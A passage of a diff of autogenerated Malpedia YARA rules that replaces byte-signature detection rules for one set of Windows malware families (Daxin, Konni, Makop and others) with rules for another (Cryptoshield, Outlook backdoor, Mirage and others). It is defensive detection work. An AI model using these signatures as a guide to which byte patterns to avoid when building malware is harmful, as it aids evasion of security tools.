+		$sequence_7 = { e8???????? 8904bd78f60210 85c0 7514 6a0c }
+		$sequence_8 = { 0f851b010000 8b01 c6400c01 8b31 c6410c00 }
+		$sequence_9 = { 0f1f4000 8b06 8b4e08 3bc1 }
 
 	condition:
-		7 of them and filesize <7946240
+		7 of them and filesize <425984
 }
-rule MALPEDIA_Win_Daxin_Auto : FILE
+rule MALPEDIA_Win_Cryptoshield_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f296881b-770d-5563-abfb-71fa7b0b574a"
+		id = "96d07897-e994-52cb-aaa7-059e98a50194"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.daxin"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.daxin_auto.yar#L1-L156"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoshield"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cryptoshield_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "474b282908002ac6ff5a401d8cd2ee0d1c71eaec687bd0f7b672c512154787e2"
+		logic_hash = "306896178ef65ef3c9170a20c235107c29dca1bfe925c06dc43c71750e345a6d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -174715,37 +181795,32 @@ rule MALPEDIA_Win_Daxin_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 2bc2 d1f8 99 f7f9 }
-		$sequence_1 = { ff15???????? 488b0d???????? 483bcb 7458 895c2448 48895c2440 895c2438 }
-		$sequence_2 = { 751a baea050000 33c9 41b84d4b4353 }
-		$sequence_3 = { ff15???????? 488983f8000000 4883a3d800000000 33d2 488d8bb0000000 448d4220 e8???????? }
-		$sequence_4 = { 83e21f 03c2 8bc8 83e01f c1f905 2bc2 488b5328 }
-		$sequence_5 = { ff15???????? 488b0d???????? 48832700 33d2 4533c0 }
-		$sequence_6 = { 83e27f 03c2 83e07f 2bc2 4863c8 8a8419c5010000 }
-		$sequence_7 = { 83e3e0 41b84d4b4353 83c320 83e203 03c2 895910 c1f802 }
-		$sequence_8 = { 88480d 8b5368 42 895368 }
-		$sequence_9 = { 884c241b c744241c08000000 c783b401000001000000 ff93f0020000 }
-		$sequence_10 = { 884c2450 83c9ff 33c0 f2ae }
-		$sequence_11 = { 885004 33c0 f2ae f7d1 }
-		$sequence_12 = { 88480d 8b4500 50 ff5018 }
-		$sequence_13 = { 884805 8b0b b807000000 c6410600 8b4b04 3bc8 }
-		$sequence_14 = { 88482b 81c6a1000000 8990b0000000 3bf2 }
+		$sequence_0 = { 8b18 8b45fc 85c0 740e }
+		$sequence_1 = { 50 ffd7 83c40c 8d442418 50 8d84242c020000 68???????? }
+		$sequence_2 = { 50 8d442428 50 ff15???????? 8d842430040000 }
+		$sequence_3 = { 85c0 7461 ff7508 6a40 ff15???????? }
+		$sequence_4 = { 750b 83c202 66833a00 75ce eb08 }
+		$sequence_5 = { 6a00 6a23 50 6a00 ff15???????? 8d85f4fdffff 50 }
+		$sequence_6 = { b90a000000 83f801 0f44f1 8b4dfc }
+		$sequence_7 = { be09000000 8bc6 5e 8b4dfc 33cd e8???????? 8be5 }
+		$sequence_8 = { 56 6814010000 33f6 8d85e0feffff 56 }
+		$sequence_9 = { 56 ff15???????? 85ff 0f45df 5f 5e 8bc3 }
 
 	condition:
-		7 of them and filesize <3475456
+		7 of them and filesize <131072
 }
-rule MALPEDIA_Win_Icedid_Downloader_Auto : FILE
+rule MALPEDIA_Win_Outlook_Backdoor_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1dc8b5e6-58e8-56f8-b32a-539ebf38d462"
+		id = "10b67e6b-fced-54a6-8f30-b2a0d20f49ea"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid_downloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.icedid_downloader_auto.yar#L1-L119"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.outlook_backdoor"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.outlook_backdoor_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "f3e7c7707c4dd480b8c042e3891161f91628584450f48860513befa5fa6f9a3b"
+		logic_hash = "373fe304abbc2faa8be0b7ba3a307d5b5d4cb0051b5dde767cca54332adde2f8"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -174759,32 +181834,32 @@ rule MALPEDIA_Win_Icedid_Downloader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { eb1c 83f803 7519 8b06 }
-		$sequence_1 = { e8???????? 8365f400 8d45b0 8945f8 64a118000000 59 59 }
-		$sequence_2 = { 8d4568 50 8d4558 50 8d45c8 6a04 }
-		$sequence_3 = { 8d75d4 33c0 c745dc00330000 6a16 }
-		$sequence_4 = { ff7508 895dfc 895df4 895df8 895dec 895de4 }
-		$sequence_5 = { ffd7 ff15???????? 83f87a 0f85e9000000 8b442410 85c0 0f84dd000000 }
-		$sequence_6 = { 894528 8d4518 50 ff15???????? }
-		$sequence_7 = { 89442408 8944240c 8bf0 8944241c 8d442408 }
-		$sequence_8 = { 50 53 53 53 6a04 ff75fc e8???????? }
-		$sequence_9 = { 6689442434 8d54242c 8b442414 52 57 }
+		$sequence_0 = { ff753c 53 68e9fd0000 ffd6 8d4d00 894568 e8???????? }
+		$sequence_1 = { ff10 8b4c2408 ff74240c 8d04c8 8b4804 85c9 740b }
+		$sequence_2 = { c9 c20800 56 8bf7 e8???????? 8d771c e8???????? }
+		$sequence_3 = { c745e01f000130 895d0c ff15???????? 8b450c 8945f0 895dfc 33c9 }
+		$sequence_4 = { 6898000000 e8???????? 59 8945ec c645fc01 }
+		$sequence_5 = { f6455404 740e 836554fb 57 56 8d4dbc e8???????? }
+		$sequence_6 = { c3 57 6a2c e8???????? 8bf8 59 85ff }
+		$sequence_7 = { 5f 5e 8d4302 5b c3 53 8bd9 }
+		$sequence_8 = { 50 e8???????? 834d1004 f6451002 740f 836510fd }
+		$sequence_9 = { e8???????? 83ec38 56 57 8bf1 8b4604 33ff }
 
 	condition:
-		7 of them and filesize <40960
+		7 of them and filesize <2912256
 }
-rule MALPEDIA_Win_Entryshell_Auto : FILE
+rule MALPEDIA_Win_Darkdew_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "602f60d0-cc33-528b-8fdb-8d928745f559"
+		id = "0ed49e32-b5ea-5f63-b18e-3ccfdc3576f0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.entryshell"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.entryshell_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkdew"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.darkdew_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "870b124d6520583c6a18845739a5248302a0431048dbb7822501065378b2f353"
+		logic_hash = "0cd505ddc1a03cf19308335c9ef43a0054cd013c3658d925b20aa0cf71f6aa36"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -174798,34 +181873,34 @@ rule MALPEDIA_Win_Entryshell_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85db 7517 53 8d95e4dfffff 8b8d8cddffff }
-		$sequence_1 = { 771d 8d8290c72501 8d5001 660f1f440000 }
-		$sequence_2 = { 83c40c 8d8424a8080000 50 6804010000 ff15???????? 8d442450 50 }
-		$sequence_3 = { 8b46f8 0fb684054fffffff 8842fd 83ef01 75a1 0f1003 53 }
-		$sequence_4 = { 83c404 84c0 0f8495010000 8bbdf4efffff 85ff 0f84eefcffff 6a20 }
-		$sequence_5 = { e8???????? 59 83cfff 897de4 33c9 894dfc 8b049d78512501 }
-		$sequence_6 = { 8945f8 53 8b5d08 0f57c0 56 57 895de8 }
-		$sequence_7 = { 83c40c 8d4ffe 668b4102 8d4902 6685c0 75f4 e9???????? }
-		$sequence_8 = { 8a0445399f2401 eb02 32c0 0fb64d0c 0fb6c0 6bc009 03c1 }
-		$sequence_9 = { 02d2 029013800000 02d2 029014800000 02d2 029015800000 02d2 }
+		$sequence_0 = { 8b55d0 c745b400000000 c745b80f000000 c645a400 83fa08 722e 8b4dbc }
+		$sequence_1 = { 03c0 660f283485c0840110 baef7f0000 2bd1 }
+		$sequence_2 = { 7202 8b12 8bca c745ac00000000 33c0 c745b007000000 }
+		$sequence_3 = { 8d4d9c 8d45d4 c78586feffff00000000 0f434d9c ba14060000 }
+		$sequence_4 = { c645fc11 8b55cc 83fa08 7232 8b4db8 8d145502000000 8bc1 }
+		$sequence_5 = { 6a00 ff15???????? cc 55 8bec 64a100000000 6aff }
+		$sequence_6 = { b991000000 8dbc2470020000 8bf3 f3a5 8bf0 8dbc24b4040000 8d842480030000 }
+		$sequence_7 = { e8???????? 8bf8 c645fc19 8d55d4 837de810 }
+		$sequence_8 = { 85c0 0f8488000000 8b4df8 8d5823 8b55fc }
+		$sequence_9 = { 8db3d0feffff 8bce 83e210 8d7901 0f1f4000 }
 
 	condition:
-		7 of them and filesize <663552
+		7 of them and filesize <279552
 }
-rule MALPEDIA_Win_Konni_Auto : FILE
+rule MALPEDIA_Win_Stabuniq_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7138d9e1-4213-5d32-a401-6f7ceedaf286"
+		id = "fc58cf81-e26c-5be2-91a6-3fbb3fc72d52"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.konni"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.konni_auto.yar#L1-L461"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stabuniq"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.stabuniq_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "81aa3927272d55dae2dfea8fc0fbd2614b2bb50237cc36185301dfe759c8d64e"
+		logic_hash = "97aa7344abd98ffc46d944f3c78f102b277bbba8d700aca31756ce2df1f26cfc"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -174837,72 +181912,32 @@ rule MALPEDIA_Win_Konni_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7908 4e 81ce00ffffff 46 8a9c35f8feffff 8819 889435f8feffff }
-		$sequence_1 = { 8945fc 53 56 57 b910000000 be???????? 8d7db0 }
-		$sequence_2 = { 7527 0fb655eb 0fb645ea 52 }
-		$sequence_3 = { 889435f8feffff 0fb609 0fb6d2 03ca 81e1ff000080 7908 }
-		$sequence_4 = { 0fbef1 d0f9 83e601 884c15f4 8970e8 42 }
-		$sequence_5 = { 49 81c900ffffff 41 8a940df8feffff 8d8c0df8feffff 0fb6da 03f3 }
-		$sequence_6 = { 83e601 897004 d0f9 0fbef1 83e601 8930 }
-		$sequence_7 = { 68b6030000 6a0d 50 ff15???????? }
-		$sequence_8 = { 6a01 ff15???????? 50 a3???????? }
-		$sequence_9 = { 33c9 83f802 7508 890d???????? }
-		$sequence_10 = { eb1e 83f804 740f c705????????02000000 }
-		$sequence_11 = { 740f c705????????02000000 83f801 750a c705????????01000000 890d???????? }
-		$sequence_12 = { 7508 890d???????? eb1e 83f804 }
-		$sequence_13 = { 8916 56 e8???????? 8a8c30dec44600 }
-		$sequence_14 = { e8???????? 83c40c 6804010000 8d8df4fdffff 51 ff15???????? }
-		$sequence_15 = { 83e203 83f908 7229 f3a5 ff2495f0444000 8bc7 }
-		$sequence_16 = { 8d85f8feffff 50 ffd6 68???????? 8d8df0faffff }
-		$sequence_17 = { 4c89742420 ff15???????? 488bd8 4885c0 744f }
-		$sequence_18 = { bbedffffff 03dd 81eb00200200 83bd9404000000 899d94040000 0f85d7030000 }
-		$sequence_19 = { e9???????? 8b35???????? 68???????? 8d85f8feffff }
-		$sequence_20 = { ff95b50f0000 898598040000 8bf0 8d7d51 }
-		$sequence_21 = { 6804010000 8d95f8feffff 52 50 ff15???????? }
-		$sequence_22 = { 50 038594040000 59 0bc9 89851a040000 61 7508 }
-		$sequence_23 = { 8b4e08 33db 56 e8???????? 8a9c30c2c44600 }
-		$sequence_24 = { 8bf0 8d7d51 57 56 ff95b10f0000 ab }
-		$sequence_25 = { 33d2 56 e8???????? 8a9435dec44600 5e 84c0 8bfa }
-		$sequence_26 = { 56 33d2 898ddcfeffff 40 57 }
-		$sequence_27 = { 6808020000 6a00 56 c745fc00010000 e8???????? 83c40c 8d45fc }
-		$sequence_28 = { ebab c745e428614000 817de42c614000 7311 8b45e4 }
-		$sequence_29 = { 6a00 6a00 8d8df8feffff 51 8d95f0fcffff }
-		$sequence_30 = { 68???????? 8d8df0faffff 51 ffd6 8b35???????? }
-		$sequence_31 = { 51 6689442414 e8???????? 6808020000 8d942420020000 6a00 }
-		$sequence_32 = { e8???????? 8a8c30a6c44600 5e 8b442414 03ca 03c1 89442414 }
-		$sequence_33 = { 33c0 56 51 668985e8fdffff e8???????? }
-		$sequence_34 = { 488bda 488b15???????? 4889442458 89442450 488b05???????? 482bc2 }
-		$sequence_35 = { 48ffc9 48ffc1 7440 488d542448 458d4e2e }
-		$sequence_36 = { 8bd9 e8???????? 4885c0 7509 488d051f390100 }
-		$sequence_37 = { 4883ec20 488bd9 e8???????? 4c8d1d4b9b0000 }
-		$sequence_38 = { 488b01 8b08 ff15???????? 488d15f3170100 488bcb }
-		$sequence_39 = { e8???????? 59 3bc7 59 a3???????? 7419 68???????? }
-		$sequence_40 = { 743e 8305????????20 8d0c9de0a30010 8d9080040000 8901 3bc2 }
-		$sequence_41 = { 4885c0 7438 33c0 4883c9ff 4c8d8600010000 488bfb }
-		$sequence_42 = { 8d04c0 8b0c8de0a30010 8a448104 83e040 c3 55 8bec }
-		$sequence_43 = { 83c410 837dfc08 752f 68???????? 53 e8???????? }
-		$sequence_44 = { 448d5bf0 498d4e10 4963d3 4d8bcd 4d8bc4 }
-		$sequence_45 = { 8b8fa8af0100 488b87a0af0100 400fb6d6 f6d2 881401 ff87a8af0100 8b97a8af0100 }
-		$sequence_46 = { 59 8a4dff 8d3c85e0a30010 8bc3 80c901 83e01f 884d0b }
-		$sequence_47 = { 488905???????? 8905???????? 488b05???????? 4533c0 48c7c102000080 488905???????? }
-		$sequence_48 = { 8bc3 c1f905 83e01f 8b0c8de0a30010 8d04c0 }
-		$sequence_49 = { 8b442448 448b6e4c 448b7e44 c1e808 4c8bf3 8b5e48 }
+		$sequence_0 = { 50 8b4d08 ff91a8000000 6a00 6a00 }
+		$sequence_1 = { 8b8df4feffff 51 6aff 8b5508 81c2a2050000 }
+		$sequence_2 = { 52 8b4510 ff503c 8b4d10 33d2 668b9106020000 }
+		$sequence_3 = { 6a00 8b4d08 8b91f8010000 52 8b4508 ff9018010000 837de4ff }
+		$sequence_4 = { 8985c8fbffff 8b4d14 51 6a08 8b550c }
+		$sequence_5 = { 8b4df8 8b11 035508 8955f4 eb0c 8b45f8 8b4810 }
+		$sequence_6 = { 51 e8???????? 8b5508 83c220 895508 c785bcfcffff00000000 8b4510 }
+		$sequence_7 = { 51 8b550c ff524c 8945fc 8b45fc 50 }
+		$sequence_8 = { 8d85c0fcffff 50 8b4d0c 51 e8???????? eb16 8b5510 }
+		$sequence_9 = { 81c155030000 51 e8???????? 6a00 8b5514 52 8b85e8feffff }
 
 	condition:
-		7 of them and filesize <330752
+		7 of them and filesize <57344
 }
-rule MALPEDIA_Win_Jasus_Auto : FILE
+rule MALPEDIA_Win_Electricfish_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f0f57156-3d71-51a0-8417-ea38ed1ea26d"
+		id = "b2332381-c1cc-58e9-8fab-7070fccf8e24"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jasus"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.jasus_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.electricfish"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.electricfish_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "8597018770d02606e940d401ffb7afc270f8035f09e3cd93e76c94000290c2f1"
+		logic_hash = "1f7cb8b65f3bb65395bc124290e1a31ce340990c85196e747881fa433bd41f37"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -174916,32 +181951,32 @@ rule MALPEDIA_Win_Jasus_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 51 6689956cffffff ffd3 83c40c 833d????????00 }
-		$sequence_1 = { 8955f8 8955e8 8955ec c745f0ffffffff 84c0 7410 8d642400 }
-		$sequence_2 = { 84c0 7543 8b45fc 85c0 745a 68???????? }
-		$sequence_3 = { 39580c 0f828d000000 0fb71437 8b4e1a 33c0 89442414 89442418 }
-		$sequence_4 = { 8945f0 894df8 b801000000 837dec00 745d 85c0 7559 }
-		$sequence_5 = { 8b1481 40 89560c 8906 8b5e0c 895e14 8a03 }
-		$sequence_6 = { 47 897e14 897e70 c686c800000043 c6864b01000043 c74668d0f24100 6a0d }
-		$sequence_7 = { 894de8 8945e4 c745ec00c94100 c745f001010000 c745f41e010000 c745f80f000000 }
-		$sequence_8 = { 8bc6 c1f805 8d1485809d4300 8b0a }
-		$sequence_9 = { e8???????? 0fb71d???????? 8945fc 0fb705???????? 56 68???????? e8???????? }
+		$sequence_0 = { e8???????? 83c404 85c0 0f84e3fdffff 8b442410 6a00 50 }
+		$sequence_1 = { e8???????? 8bd8 83c404 85db 7523 683e010000 68???????? }
+		$sequence_2 = { c3 8b5104 57 6a77 68???????? 8910 8b39 }
+		$sequence_3 = { 8b442408 6855090000 68???????? 6a41 6896010000 6a14 c70050000000 }
+		$sequence_4 = { e8???????? 83c418 85c0 0f8fd7faffff 5f 5e 5d }
+		$sequence_5 = { 8945c4 8945c8 8945cc 8945d0 89a540ffffff 6aff 894110 }
+		$sequence_6 = { 689b010000 68???????? 6a08 e8???????? 83c40c 85c0 751f }
+		$sequence_7 = { 51 55 e8???????? 83c408 3bc3 7504 6a6e }
+		$sequence_8 = { c3 57 56 e8???????? 83c408 6893000000 68???????? }
+		$sequence_9 = { 0fb74550 c7459418001800 c7459848000000 84db 7402 03c0 0fb74d18 }
 
 	condition:
-		7 of them and filesize <507904
+		7 of them and filesize <3162112
 }
-rule MALPEDIA_Win_Scout_Auto : FILE
+rule MALPEDIA_Win_Godzilla_Loader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "782e8973-04d4-5ac6-ba73-37d8fadd11cc"
+		id = "0aa53e21-de31-5ee8-9359-dc9a54a6a8e0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scout"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.scout_auto.yar#L1-L113"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.godzilla_loader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.godzilla_loader_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "5102c52e17a0c63528d1a50969c6684ed49d0991b2b60fe184c02299aec673c2"
+		logic_hash = "2d34f8359c26dd7b822a9bcedc09c50858c69dbe831cef14ec0430298405abb3"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -174955,32 +181990,32 @@ rule MALPEDIA_Win_Scout_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 488d537c 41b888140000 488d4df0 e8???????? 41b904000000 }
-		$sequence_1 = { 498bf9 8b0a e8???????? 90 488d1d86780100 488d356f630100 }
-		$sequence_2 = { 736b 488bc3 488bf3 48c1fe06 4c8d2d4ef80000 }
-		$sequence_3 = { 4d8bf8 488bc6 48894df7 488945ef 488d0d36fbfeff 83e03f 458be9 }
-		$sequence_4 = { 488d1520d50000 b805000000 894520 894528 }
-		$sequence_5 = { 7566 b804000000 660f1f840000000000 488d8980000000 }
-		$sequence_6 = { e8???????? 33c0 488b8d90140000 4833cc e8???????? }
-		$sequence_7 = { c745dca8837182 0f1045d0 c744242801000000 8905???????? }
-		$sequence_8 = { 4c89742438 4c897c2430 ff15???????? 33d2 }
-		$sequence_9 = { 75dd 488d05e31b0100 483bd8 74d1 488bcb }
+		$sequence_0 = { 50 a5 ff512c 85c0 756c }
+		$sequence_1 = { a5 50 a5 ff512c 85c0 756c }
+		$sequence_2 = { 7406 8b08 50 ff511c }
+		$sequence_3 = { a5 ff512c 85c0 756c }
+		$sequence_4 = { 6a00 8bf8 8d45fc 50 57 6a01 56 }
+		$sequence_5 = { 51 56 57 ff7508 ff15???????? 8bf0 56 }
+		$sequence_6 = { 52 50 ff91f0000000 85c0 7813 }
+		$sequence_7 = { 6a00 6a00 8bf8 8d45fc 50 57 }
+		$sequence_8 = { 57 6a01 56 ff7508 8975fc }
+		$sequence_9 = { 8b08 50 ff11 85c0 7527 }
 
 	condition:
-		7 of them and filesize <315392
+		7 of them and filesize <155648
 }
-rule MALPEDIA_Win_Makop_Auto : FILE
+rule MALPEDIA_Win_Artfulpie_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0ddd5ad6-ed99-5e37-bafe-b552882375b1"
+		id = "76593040-a588-559b-a14b-1edef48802a1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.makop"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.makop_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.artfulpie"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.artfulpie_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "153590702efa562c07e5adda47cdb1581820d31e1d121adbb82083fd02f6f827"
+		logic_hash = "61512abd96fd629a35a0b2673ca4f2027db7aa6e8bcee3bfbea21b9b36b003b2"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -174994,32 +182029,32 @@ rule MALPEDIA_Win_Makop_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 55 8bec 83e4f8 81ec10040000 53 55 56 }
-		$sequence_1 = { 8b84244c010000 8bcb 51 8b8c244c010000 52 50 51 }
-		$sequence_2 = { 117c241c 8bb840080000 017c2420 8bb844080000 117c2424 8b8050080000 3bc3 }
-		$sequence_3 = { 3d11010000 0f8567030000 0fb7442444 0517fcffff 83f806 0f8754030000 ff24859c4f4000 }
-		$sequence_4 = { 53 ff15???????? 85c0 0f84f1000000 6a00 8d442418 }
-		$sequence_5 = { 8d442418 50 51 e8???????? 85c0 0f85cb000000 }
-		$sequence_6 = { bb01000000 395d08 7571 b8???????? 668b08 83c002 6685c9 }
-		$sequence_7 = { 5e 5b 83c41c c3 ff15???????? 50 }
-		$sequence_8 = { 33db 3bf3 740f 56 895e18 895e1c }
-		$sequence_9 = { 895c241c 895c2420 895c2424 745e 90 8b06 }
+		$sequence_0 = { 894ddc c745e0a8204100 e9???????? c745e0a4204100 }
+		$sequence_1 = { 8d1c8568524100 8b03 8b15???????? 83cfff 8bca 8bf2 }
+		$sequence_2 = { 23c1 83c008 5d c3 8b04c544ec4000 5d }
+		$sequence_3 = { 7514 8b7830 8b00 397838 740a 33d2 }
+		$sequence_4 = { 6a00 8d854cfcffff c745fc2a2f2a00 50 }
+		$sequence_5 = { 660f282d???????? 660f59f5 660f28aa101f4100 660f54e5 660f58fe 660f58fc 660f59c8 }
+		$sequence_6 = { e8???????? 85c0 7432 8bcb e8???????? }
+		$sequence_7 = { 8b5d10 8b0485984e4100 56 8b7508 57 8b4c0818 }
+		$sequence_8 = { 50 53 ff15???????? 85c0 7455 8b7df0 }
+		$sequence_9 = { 6a41 5f 894df0 8b34cdf00e4100 8b4d08 6a5a }
 
 	condition:
-		7 of them and filesize <107520
+		7 of them and filesize <204800
 }
-rule MALPEDIA_Win_Sslmm_Auto : FILE
+rule MALPEDIA_Win_Mirage_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "66fe7984-4fbf-52ff-a40d-1ce2823f2352"
+		id = "1bf63709-182f-50be-a8ab-e40f87c0e4e9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sslmm"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sslmm_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mirage"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mirage_auto.yar#L1-L173"
 		license_url = "N/A"
-		logic_hash = "d75465397d6b8b1866eed0e7ec1b8ff2d24536787a6f5113faf56887d0bb752f"
+		logic_hash = "dc6fe884f3e04eb4b8ba5e715519d9f15ffa67807a8e3bc171df65981afb64ab"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -175033,32 +182068,38 @@ rule MALPEDIA_Win_Sslmm_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 89542440 8d4c2418 89442414 89542444 }
-		$sequence_1 = { 8b8c2484000000 8bbc2480000000 8b54247c 51 57 52 8bcb }
-		$sequence_2 = { 8b442438 89742418 89542468 89442460 8b44241c 33f6 8d542428 }
-		$sequence_3 = { e9???????? ff15???????? 50 eb13 5f 5e }
-		$sequence_4 = { 8b868c000000 68???????? 85c0 7413 6800000200 6a00 }
-		$sequence_5 = { 83c40c 899374010000 33ed 8b8374010000 }
-		$sequence_6 = { 83f8ff 0f8477020000 3bc5 0f84fb010000 8b9374010000 55 03d0 }
-		$sequence_7 = { 83c414 3bc3 770a 6a0a }
-		$sequence_8 = { 8db120010000 8b780c 42 897814 8b7808 897810 }
-		$sequence_9 = { 8b7c2424 e9???????? 50 8bcf eb2e }
+		$sequence_0 = { 6801000080 ff15???????? 85c0 7556 }
+		$sequence_1 = { 50 6a01 6a06 c645ff01 }
+		$sequence_2 = { a0???????? 8d8d90feffff ff35???????? 50 ff75ec ff75e8 e8???????? }
+		$sequence_3 = { 50 8d857cfdffff 50 e8???????? 59 59 8d8580feffff }
+		$sequence_4 = { 3b4510 894514 731f 6802800000 8d8520010000 53 }
+		$sequence_5 = { ff7518 e8???????? 83c41c 85ff 7613 8b4518 57 }
+		$sequence_6 = { 50 53 68???????? c745f804010000 ff75fc ff15???????? }
+		$sequence_7 = { 395df4 0f85b1000000 3bf3 0f85a9000000 381f }
+		$sequence_8 = { ff7518 03fb e8???????? 33db 59 }
+		$sequence_9 = { 57 8b7d18 8bf1 8d5f19 88461c 53 e8???????? }
+		$sequence_10 = { e8???????? 50 8d8520f9ffff e9???????? }
+		$sequence_11 = { 85c0 5e 7507 8b45f8 }
+		$sequence_12 = { 50 8b08 ff517c 8b06 8d55f4 52 50 }
+		$sequence_13 = { e8???????? 8d45e4 56 83c704 }
+		$sequence_14 = { ff15???????? 8d85f4f0ffff 53 50 68???????? 56 e8???????? }
+		$sequence_15 = { 56 50 e8???????? 83c414 e9???????? ff75f0 e8???????? }
 
 	condition:
-		7 of them and filesize <188416
+		7 of them and filesize <1695744
 }
-rule MALPEDIA_Win_Starsypound_Auto : FILE
+rule MALPEDIA_Win_Yahoyah_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "70e37162-3a73-596a-8d7d-42b9d85b78f7"
+		id = "8071f7bc-1af0-58b6-8984-8add890e5a04"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.starsypound"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.starsypound_auto.yar#L1-L119"
